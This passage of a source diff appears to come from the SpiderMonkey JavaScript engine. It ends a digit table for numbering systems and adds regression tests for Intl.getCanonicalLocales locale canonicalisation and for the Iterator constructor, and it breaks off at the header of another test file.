+ "mlym": {
+ "algorithmic": false,
+ "digits": "൦൧൨൩൪൫൬൭൮൯"
+ },
+ "modi": {
+ "algorithmic": false,
+ "digits": "𑙐𑙑𑙒𑙓𑙔𑙕𑙖𑙗𑙘𑙙"
+ },
+ "mong": {
+ "algorithmic": false,
+ "digits": "᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙"
+ },
+ "mroo": {
+ "algorithmic": false,
+ "digits": "𖩠𖩡𖩢𖩣𖩤𖩥𖩦𖩧𖩨𖩩"
+ },
+ "mtei": {
+ "algorithmic": false,
+ "digits": "꯰꯱꯲꯳꯴꯵꯶꯷꯸꯹"
+ },
+ "mymr": {
+ "algorithmic": false,
+ "digits": "၀၁၂၃၄၅၆၇၈၉"
+ },
+ "mymrshan": {
+ "algorithmic": false,
+ "digits": "႐႑႒႓႔႕႖႗႘႙"
+ },
+ "mymrtlng": {
+ "algorithmic": false,
+ "digits": "꧰꧱꧲꧳꧴꧵꧶꧷꧸꧹"
+ },
+ "newa": {
+ "algorithmic": false,
+ "digits": "𑑐𑑑𑑒𑑓𑑔𑑕𑑖𑑗𑑘𑑙"
+ },
+ "nkoo": {
+ "algorithmic": false,
+ "digits": "߀߁߂߃߄߅߆߇߈߉"
+ },
+ "olck": {
+ "algorithmic": false,
+ "digits": "᱐᱑᱒᱓᱔᱕᱖᱗᱘᱙"
+ },
+ "orya": {
+ "algorithmic": false,
+ "digits": "୦୧୨୩୪୫୬୭୮୯"
+ },
+ "osma": {
+ "algorithmic": false,
+ "digits": "𐒠𐒡𐒢𐒣𐒤𐒥𐒦𐒧𐒨𐒩"
+ },
+ "rohg": {
+ "algorithmic": false,
+ "digits": "𐴰𐴱𐴲𐴳𐴴𐴵𐴶𐴷𐴸𐴹"
+ },
+ "roman": {
+ "algorithmic": true
+ },
+ "romanlow": {
+ "algorithmic": true
+ },
+ "saur": {
+ "algorithmic": false,
+ "digits": "꣐꣑꣒꣓꣔꣕꣖꣗꣘꣙"
+ },
+ "segment": {
+ "algorithmic": false,
+ "digits": "🯰🯱🯲🯳🯴🯵🯶🯷🯸🯹"
+ },
+ "shrd": {
+ "algorithmic": false,
+ "digits": "𑇐𑇑𑇒𑇓𑇔𑇕𑇖𑇗𑇘𑇙"
+ },
+ "sind": {
+ "algorithmic": false,
+ "digits": "𑋰𑋱𑋲𑋳𑋴𑋵𑋶𑋷𑋸𑋹"
+ },
+ "sinh": {
+ "algorithmic": false,
+ "digits": "෦෧෨෩෪෫෬෭෮෯"
+ },
+ "sora": {
+ "algorithmic": false,
+ "digits": "𑃰𑃱𑃲𑃳𑃴𑃵𑃶𑃷𑃸𑃹"
+ },
+ "sund": {
+ "algorithmic": false,
+ "digits": "᮰᮱᮲᮳᮴᮵᮶᮷᮸᮹"
+ },
+ "takr": {
+ "algorithmic": false,
+ "digits": "𑛀𑛁𑛂𑛃𑛄𑛅𑛆𑛇𑛈𑛉"
+ },
+ "talu": {
+ "algorithmic": false,
+ "digits": "᧐᧑᧒᧓᧔᧕᧖᧗᧘᧙"
+ },
+ "taml": {
+ "algorithmic": true
+ },
+ "tamldec": {
+ "algorithmic": false,
+ "digits": "௦௧௨௩௪௫௬௭௮௯"
+ },
+ "telu": {
+ "algorithmic": false,
+ "digits": "౦౧౨౩౪౫౬౭౮౯"
+ },
+ "thai": {
+ "algorithmic": false,
+ "digits": "๐๑๒๓๔๕๖๗๘๙"
+ },
+ "tibt": {
+ "algorithmic": false,
+ "digits": "༠༡༢༣༤༥༦༧༨༩"
+ },
+ "tirh": {
+ "algorithmic": false,
+ "digits": "𑓐𑓑𑓒𑓓𑓔𑓕𑓖𑓗𑓘𑓙"
+ },
+ "vaii": {
+ "algorithmic": false,
+ "digits": "꘠꘡꘢꘣꘤꘥꘦꘧꘨꘩"
+ },
+ "wara": {
+ "algorithmic": false,
+ "digits": "𑣠𑣡𑣢𑣣𑣤𑣥𑣦𑣧𑣨𑣩"
+ },
+ "wcho": {
+ "algorithmic": false,
+ "digits": "𞋰𞋱𞋲𞋳𞋴𞋵𞋶𞋷𞋸𞋹"
+ }
+};
diff --git a/js/src/tests/non262/Intl/tolower-ascii-equivalent.js b/js/src/tests/non262/Intl/tolower-ascii-equivalent.js
new file mode 100644
index 0000000000..ac3cbfb7d3
--- /dev/null
+++ b/js/src/tests/non262/Intl/tolower-ascii-equivalent.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Language tags are processed case-insensitive, but unconditionally calling
+// the built-in String.prototype.toLowerCase() or toUpperCase() function
+// before parsing a language tag can map non-ASCII characters into the ASCII
+// range.
+//
+// Validate the Unicode BCP 47 locale identifier parser handles this case
+// (pun intended) correctly by passing language tags which contain
+// U+212A (KELVIN SIGN) and U+0131 (LATIN SMALL LETTER DOTLESS I) to
+// Intl.getCanonicalLocales().
+
+// The lower-case form of "i-ha\u212A" is "i-hak".
+assertEq("i-hak", "i-ha\u212A".toLowerCase());
+
+// The upper-case form of "\u0131-hak" is "I-HAK".
+assertEq("I-HAK", "\u0131-hak".toUpperCase());
+
+// "i-hak" is not a valid Unicode BCP 47 locale identifier.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("i-hak"), RangeError);
+
+// And neither is "i-ha\u212A".
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("i-ha\u212A"), RangeError);
+
+// And also "\u0131-hak" isn't valid.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("\u0131-hak"), RangeError);
+
+// The lower-case form of "zh-ha\u212A\u212Aa" is "zh-hakka".
+assertEq("zh-hakka", "zh-ha\u212A\u212Aa".toLowerCase());
+
+// "zh-hakka" is a valid Unicode BCP 47 locale identifier.
+assertEqArray(Intl.getCanonicalLocales("zh-hakka"), ["hak"]);
+
+// But "zh-ha\u212A\u212Aa" is not a valid locale identifier.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("zh-ha\u212A\u212Aa"), RangeError);
+
+// The lower-case form of "zh-x\u0131ang" is "ZH-XIANG".
+assertEq("ZH-XIANG", "zh-x\u0131ang".toUpperCase());
+
+// "zh-xiang" is a valid Unicode BCP 47 locale identifier.
+assertEqArray(Intl.getCanonicalLocales("zh-xiang"), ["hsn"]);
+
+// But "zh-x\u0131ang" is not a valid locale identifier.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("zh-x\u0131ang"), RangeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js
new file mode 100644
index 0000000000..7e9aae5519
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Unicode BCP 47 locale identifiers don't support extlang subtags.
+const invalid = [
+ // Two letter language code followed by extlang subtags.
+ "en-abc",
+ "en-abc-def",
+ "en-abc-def-ghi",
+
+ // Three letter language code followed by extlang subtags.
+ "und-abc",
+ "und-abc-def",
+ "und-abc-def-ghi",
+];
+
+for (let locale of invalid) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(locale), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-grandfathered.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-grandfathered.js
new file mode 100644
index 0000000000..028127f110
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-grandfathered.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Unicode BCP 47 locale identifiers don't support irregular grandfathered tags.
+var irregularGrandfathered = [
+ "en-gb-oed",
+ "i-ami",
+ "i-bnn",
+ "i-default",
+ "i-enochian",
+ "i-hak",
+ "i-klingon",
+ "i-lux",
+ "i-mingo",
+ "i-navajo",
+ "i-pwn",
+ "i-tao",
+ "i-tay",
+ "i-tsu",
+ "sgn-be-fr",
+ "sgn-be-nl",
+ "sgn-ch-de",
+];
+
+// Unicode BCP 47 locale identifiers don't support regular grandfathered tags
+// which contain an extlang-like subtag.
+var regularGrandfatheredWithExtlangLike = [
+ "no-bok",
+ "no-nyn",
+ "zh-min",
+ "zh-min-nan",
+];
+
+// Unicode BCP 47 locale identifiers do support regular grandfathered tags
+// which contain a variant-like subtag.
+var regularGrandfatheredWithVariantLike = {
+ "art-lojban": "jbo",
+ "cel-gaulish": "xtg-x-cel-gaulish",
+ "zh-guoyu": "zh",
+ "zh-hakka": "hak",
+ "zh-xiang": "hsn",
+};
+
+for (let locale of [...irregularGrandfathered, ...regularGrandfatheredWithExtlangLike]) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(locale), RangeError);
+}
+
+for (let [locale, canonical] of Object.entries(regularGrandfatheredWithVariantLike)) {
+ assertEq(Intl.getCanonicalLocales(locale)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js
new file mode 100644
index 0000000000..a37cd603a0
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// For the most part the mappings from IANA are a subset of the CLDR mappings.
+// So there are mappings which are consistent across both databases.
+assertEq(Intl.getCanonicalLocales("iw")[0], "he");
+
+// But some languages are mapped differently.
+//
+// From the IANA language data registry:
+// Type: language
+// Subtag: drh
+// Description: Darkhat
+// Added: 2009-07-29
+// Deprecated: 2010-03-11
+// Preferred-Value: khk
+//
+// From CLDR:
+// <languageAlias type="drh" replacement="mn" reason="deprecated"/>
+//
+// because CLDR also maps macro-languages:
+// <languageAlias type="khk" replacement="mn" reason="macrolanguage"/>
+assertEq(Intl.getCanonicalLocales("drh")[0], "mn");
+
+// CLDR maps macro-languages:
+// <languageAlias type="cmn" replacement="zh" reason="macrolanguage"/>
+assertEq(Intl.getCanonicalLocales("cmn")[0], "zh");
+
+// CLDR also contains mappings from ISO-639-2 (B/T) to 639-1 codes:
+// <languageAlias type="dut" replacement="nl" reason="bibliographic"/>
+// <languageAlias type="nld" replacement="nl" reason="overlong"/>
+assertEq(Intl.getCanonicalLocales("dut")[0], "nl");
+assertEq(Intl.getCanonicalLocales("nld")[0], "nl");
+
+// CLDR has additional mappings for legacy language codes.
+// <languageAlias type="no" replacement="nb" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("no")[0], "nb");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js
new file mode 100644
index 0000000000..320e1b02c0
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// CLDR contains language mappings where in addition to the language subtag also
+// the script or region subtag is modified, unless they're already present.
+
+// <languageAlias type="sh" replacement="sr_Latn" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("sh")[0], "sr-Latn");
+assertEq(Intl.getCanonicalLocales("sh-RS")[0], "sr-Latn-RS");
+assertEq(Intl.getCanonicalLocales("sh-Cyrl")[0], "sr-Cyrl");
+
+// <languageAlias type="cnr" replacement="sr_ME" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("cnr")[0], "sr-ME");
+assertEq(Intl.getCanonicalLocales("cnr-Latn")[0], "sr-Latn-ME");
+assertEq(Intl.getCanonicalLocales("cnr-RS")[0], "sr-RS");
+
+// Aliases where more than just a language subtag are present are ignored.
+// <languageAlias type="sr_RS" replacement="sr_Cyrl_RS" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("sr-RS")[0], "sr-RS");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js
new file mode 100644
index 0000000000..22dbd17a1d
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// CLDR contains region mappings where the replacement region depends on the
+// likely subtags from the language and script subtags.
+//
+// For example, the breakup of the Soviet Union ("SU") means that the region of
+// the Soviet Union ("SU") is replaced by Russia ("RU"), Armenia ("AM"), or
+// many others -- depending on the specified (or merely likely) language and
+// script subtags:
+//
+// <territoryAlias type="SU" replacement="RU AM AZ BY EE GE KZ KG LV LT MD TJ TM UA UZ" reason="deprecated"/>
+//
+// Armenia can be the preferred region when the language is "hy" (Armenian) or
+// the script is "Armn" (Armenian).
+//
+// <likelySubtag from="hy" to="hy_Armn_AM"/>
+// <likelySubtag from="und_Armn" to="hy_Armn_AM"/>
+assertEq(Intl.getCanonicalLocales("ru-SU")[0], "ru-RU");
+assertEq(Intl.getCanonicalLocales("en-SU")[0], "en-RU");
+assertEq(Intl.getCanonicalLocales("und-SU")[0], "und-RU");
+assertEq(Intl.getCanonicalLocales("und-Latn-SU")[0], "und-Latn-RU");
+assertEq(Intl.getCanonicalLocales("hy-SU")[0], "hy-AM");
+assertEq(Intl.getCanonicalLocales("und-Armn-SU")[0], "und-Armn-AM");
+
+// <territoryAlias type="CS" replacement="RS ME" reason="deprecated"/>
+//
+// The following likely-subtags entries contain "RS" and "ME":
+//
+// <likelySubtag from="sr" to="sr_Cyrl_RS"/>
+// <likelySubtag from="sr_ME" to="sr_Latn_ME"/>
+// <likelySubtag from="und_RS" to="sr_Cyrl_RS"/>
+// <likelySubtag from="und_ME" to="sr_Latn_ME"/>
+//
+// In this case there is no language/script combination (without a region
+// subtag) where "ME" is ever chosen, so the replacement is always "RS".
+assertEq(Intl.getCanonicalLocales("sr-CS")[0], "sr-RS");
+assertEq(Intl.getCanonicalLocales("sr-Latn-CS")[0], "sr-Latn-RS");
+assertEq(Intl.getCanonicalLocales("sr-Cyrl-CS")[0], "sr-Cyrl-RS");
+
+// The existing region in the source locale identifier is ignored when selecting
+// the likely replacement region. For example take "az-NT", which is Azerbaijani
+// spoken in the Neutral Zone. The replacement region for "NT" is either
+// "SA" (Saudi-Arabia) or "IQ" (Iraq), and there is also a likely subtags entry
+// for "az-IQ". But when only looking at the language subtag in "az-NT", "az" is
+// always resolved to "az-Latn-AZ", and because "AZ" is not in the list ["SA",
+// "IQ"], the final replacement region is the default for "NT", namely "SA".
+// That means "az-NT" will be canonicalised to "az-SA" and not "az-IQ", even
+// though the latter may be a more sensible candidate based on the actual usage
+// of the target locales.
+//
+// <territoryAlias type="NT" replacement="SA IQ" reason="deprecated"/>
+// <likelySubtag from="az_IQ" to="az_Arab_IQ"/>
+// <likelySubtag from="az" to="az_Latn_AZ"/>
+assertEq(Intl.getCanonicalLocales("az-NT")[0], "az-SA");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js
new file mode 100644
index 0000000000..affebb33b8
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// For the most part the mappings from IANA are a subset of the CLDR mappings.
+// So there are mappings which are consistent across both databases.
+assertEq(Intl.getCanonicalLocales("de-DD")[0], "de-DE");
+
+// CLDR contains additional mappings:
+// <territoryAlias type="QU" replacement="EU" reason="deprecated"/>
+// <territoryAlias type="UK" replacement="GB" reason="deprecated"/>
+assertEq(Intl.getCanonicalLocales("und-QU")[0], "und-EU");
+assertEq(Intl.getCanonicalLocales("en-UK")[0], "en-GB");
+
+// CLDR additional maps ISO 3166-1 numeric to ISO 3166-1 alpha-2 codes:
+// <territoryAlias type="280" replacement="DE" reason="deprecated"/>
+// <territoryAlias type="278" replacement="DE" reason="overlong"/>
+// <territoryAlias type="276" replacement="DE" reason="overlong"/>
+assertEq(Intl.getCanonicalLocales("de-280")[0], "de-DE");
+assertEq(Intl.getCanonicalLocales("de-278")[0], "de-DE");
+assertEq(Intl.getCanonicalLocales("de-276")[0], "de-DE");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js
new file mode 100644
index 0000000000..9ed09a23f1
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// The IANA language subtag registry contains replacements for sign language
+// codes marked as redundant. For example:
+//
+// Type: redundant
+// Tag: sgn-DE
+// Description: German Sign Language
+// Added: 2001-11-11
+// Deprecated: 2009-07-29
+// Preferred-Value: gsg
+//
+// CLDR doesn't contain these mappings. Make sure we follow CLDR instead of IANA.
+
+assertEq(Intl.getCanonicalLocales("sgn-DE")[0], "sgn-DE");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js
new file mode 100644
index 0000000000..50ac20e58b
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js
@@ -0,0 +1,71 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const invalid = [
+ // empty
+ "en-t",
+ "en-t-a",
+ "en-t-x",
+ "en-t-0",
+
+ // incomplete
+ "en-t-",
+ "en-t-en-",
+ "en-t-0x-",
+
+ // tlang: unicode_language_subtag must be 2-3 or 5-8 characters and mustn't
+ // contain extlang subtags.
+ "en-t-root",
+ "en-t-abcdefghi",
+ "en-t-ar-aao",
+
+ // tlang: unicode_script_subtag must be 4 alphabetical characters, can't
+ // be repeated.
+ "en-t-en-lat0",
+ "en-t-en-latn-latn",
+
+ // tlang: unicode_region_subtag must either be 2 alpha characters or a three
+ // digit code.
+ "en-t-en-0",
+ "en-t-en-00",
+ "en-t-en-0x",
+ "en-t-en-x0",
+ "en-t-en-latn-0",
+ "en-t-en-latn-00",
+ "en-t-en-latn-xyz",
+
+ // tlang: unicode_variant_subtag is either 5-8 alphanum characters or 4
+ // characters starting with a digit.
+ "en-t-en-abcdefghi",
+ "en-t-en-latn-gb-ab",
+ "en-t-en-latn-gb-abc",
+ "en-t-en-latn-gb-abcd",
+ "en-t-en-latn-gb-abcdefghi",
+];
+
+// Canonicalisation also applies for the transformation extension. But also
+// see <https://github.com/tc39/ecma402/issues/330>.
+const valid = [
+ {locale: "en-t-en", canonical: "en-t-en"},
+ {locale: "en-t-en-latn", canonical: "en-t-en-latn"},
+ {locale: "en-t-en-ca", canonical: "en-t-en-ca"},
+ {locale: "en-t-en-latn-ca", canonical: "en-t-en-latn-ca"},
+ {locale: "en-t-en-emodeng", canonical: "en-t-en-emodeng"},
+ {locale: "en-t-en-latn-emodeng", canonical: "en-t-en-latn-emodeng"},
+ {locale: "en-t-en-latn-ca-emodeng", canonical: "en-t-en-latn-ca-emodeng"},
+ {locale: "sl-t-sl-rozaj-biske-1994", canonical: "sl-t-sl-1994-biske-rozaj"},
+ {locale: "DE-T-M0-DIN-K0-QWERTZ", canonical: "de-t-k0-qwertz-m0-din"},
+ {locale: "en-t-m0-true", canonical: "en-t-m0-true"},
+ {locale: "en-t-iw", canonical: "en-t-he"},
+ {locale: "und-Latn-t-und-hani-m0-names", canonical: "und-Latn-t-und-hani-m0-prprname"},
+];
+
+for (let locale of invalid) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(locale), RangeError);
+}
+
+for (let {locale, canonical} of valid) {
+ assertEq(Intl.getCanonicalLocales(locale)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js
new file mode 100644
index 0000000000..a46eba475e
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Unicode locale extension sequences don't allow keys with a digit as their
+// second character.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("en-u-c0"), RangeError);
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("en-u-00"), RangeError);
+
+// The first character is allowed to be a digit.
+assertEq(Intl.getCanonicalLocales("en-u-0c")[0], "en-u-0c");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js
new file mode 100644
index 0000000000..49e31c6786
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// ECMA-402 includes mapping of legacy variants, as long as they're also present
+// in <variantAlias> in CLDR's supplementalMetadata.xml
+// <https://www.unicode.org/reports/tr35/#Legacy_Variants>
+
+assertEq(Intl.getCanonicalLocales("sv-AALAND")[0], "sv-AX");
+assertEq(Intl.getCanonicalLocales("no-BOKMAL")[0], "nb-bokmal");
+assertEq(Intl.getCanonicalLocales("no-NYNORSK")[0], "nb-nynorsk");
+assertEq(Intl.getCanonicalLocales("en-POSIX")[0], "en-posix");
+assertEq(Intl.getCanonicalLocales("el-POLYTONI")[0], "el-polyton");
+assertEq(Intl.getCanonicalLocales("aa-SAAHO")[0], "aa-saaho");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js
new file mode 100644
index 0000000000..e50436a83c
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// UTS 35, 3.2.1 Canonical Unicode Locale Identifiers:
+// - Any variants are in alphabetical order.
+
+assertEq(Intl.getCanonicalLocales("en-scouse-fonipa")[0], "en-fonipa-scouse");
+
+// Sorting in alphabetical order may turn a valid BCP 47 language tag into a
+// BCP 47 language tag which is only well-formed, but no longer valid. This
+// means there are potential compatibility issues when converting between
+// Unicode BCP 47 locale identifiers and BCP 47 language tags.
+//
+// Spec: https://tools.ietf.org/html/rfc5646#section-2.2.9
+
+// <https://www.iana.org/assignments/language-subtag-registry/language-subtag-registry>
+//
+// Type: variant
+// Subtag: 1994
+// Description: Standardized Resian orthography
+// Added: 2007-07-28
+// Prefix: sl-rozaj
+// Prefix: sl-rozaj-biske
+// Prefix: sl-rozaj-njiva
+// Prefix: sl-rozaj-osojs
+// Prefix: sl-rozaj-solba
+// Comments: For standardized Resian an orthography was published in 1994.
+
+assertEq(Intl.getCanonicalLocales("sl-rozaj-biske-1994")[0], "sl-1994-biske-rozaj");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/variant-with-preferred-value.js b/js/src/tests/non262/Intl/variant-with-preferred-value.js
new file mode 100644
index 0000000000..c0c342f0e0
--- /dev/null
+++ b/js/src/tests/non262/Intl/variant-with-preferred-value.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Per UTS 35, computing the canonical form for Unicode BCP 47 locale identifiers
+// includes replacing deprecated variant mappings. The other UTS 35 canonicalisation
+// algorithm ("BCP 47 Language Tag to Unicode BCP 47 Locale Identifier") doesn't
+// support deprecated variant mappings.
+// https://github.com/tc39/ecma402/issues/330
+
+const languageTags = {
+ // The preferred value of "hy-arevela" is "hy" per CLDR.
+ "hy-arevela": "hy",
+ "hy-Armn-arevela": "hy-Armn",
+ "hy-AM-arevela": "hy-AM",
+ "hy-arevela-fonipa": "hy-fonipa",
+ "hy-fonipa-arevela": "hy-fonipa",
+
+ // The preferred value of "hy-arevmda" is "hyw" per CLDR.
+ "hy-arevmda": "hyw",
+ "hy-Armn-arevmda": "hyw-Armn",
+ "hy-AM-arevmda": "hyw-AM",
+ "hy-arevmda-fonipa": "hyw-fonipa",
+ "hy-fonipa-arevmda": "hyw-fonipa",
+
+ // The preferred value of "ja-Latn-hepburn-heploc" is "ja-Latn-alalc97-hepburn" per CLDR.
+ // But: The preferred value of "ja-Latn-hepburn-heploc" is "ja-Latn-alalc97" per IANA!
+ "ja-Latn-hepburn-heploc": "ja-Latn-alalc97-hepburn",
+ "ja-Latn-JP-hepburn-heploc": "ja-Latn-JP-alalc97-hepburn",
+
+ // Variant subtag replacements not present in IANA.
+ "sv-aaland": "sv-AX",
+ "el-polytoni": "el-polyton",
+
+ // Additional cases when more variant subtags are present.
+
+ // 1. The preferred variant is already present.
+ "ja-Latn-alalc97-hepburn-heploc": "ja-Latn-alalc97-hepburn",
+ "ja-Latn-hepburn-alalc97-heploc": "ja-Latn-alalc97-hepburn",
+ "ja-Latn-hepburn-heploc-alalc97": "ja-Latn-alalc97-hepburn",
+
+ // 2. The variant subtags aren't in the expected order per IANA. (CLDR doesn't care
+ // about the order of variant subtags.)
+ "ja-Latn-heploc-hepburn": "ja-Latn-alalc97-hepburn",
+
+ // 3. IANA expects both variant subtags to be present, CLDR only requires "heploc".
+ "ja-Latn-heploc": "ja-Latn-alalc97",
+
+ // 4. Test for cases when the same variant subtag position needs to be checked more
+ // than once when replacing deprecated variant subtags.
+ "ja-Latn-aaland-heploc": "ja-Latn-AX-alalc97",
+ "ja-Latn-heploc-polytoni": "ja-Latn-alalc97-polyton",
+};
+
+for (let [tag, canonical] of Object.entries(languageTags)) {
+ assertEq(Intl.getCanonicalLocales(tag)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor-subclassable.js b/js/src/tests/non262/Iterator/constructor-subclassable.js
new file mode 100644
index 0000000000..9f65c65ad0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor-subclassable.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator constructor can be subclassed.
+---*/
+
+class TestIterator extends Iterator {
+}
+
+assertEq(new TestIterator() instanceof Iterator, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js b/js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js
new file mode 100644
index 0000000000..2b49b2d4ba
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator constructor throws when called directly.
+---*/
+
+assertThrowsInstanceOf(() => new Iterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor-throw-without-new.js b/js/src/tests/non262/Iterator/constructor-throw-without-new.js
new file mode 100644
index 0000000000..85497fcd63
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor-throw-without-new.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Iterator constructor throws when called without new.
+---*/
+
+assertThrowsInstanceOf(() => Iterator(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/constructor.js b/js/src/tests/non262/Iterator/constructor.js
new file mode 100644
index 0000000000..56d8271e82
--- /dev/null
+++ b/js/src/tests/non262/Iterator/constructor.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The Iterator constructor is a built-in function.
+---*/
+
+assertEq(typeof Iterator, 'function');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js b/js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js
new file mode 100644
index 0000000000..19bdde852b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.from
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator, 'from');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/from/Iterator.from-length.js b/js/src/tests/non262/Iterator/from/Iterator.from-length.js
new file mode 100644
index 0000000000..0833538da1
--- /dev/null
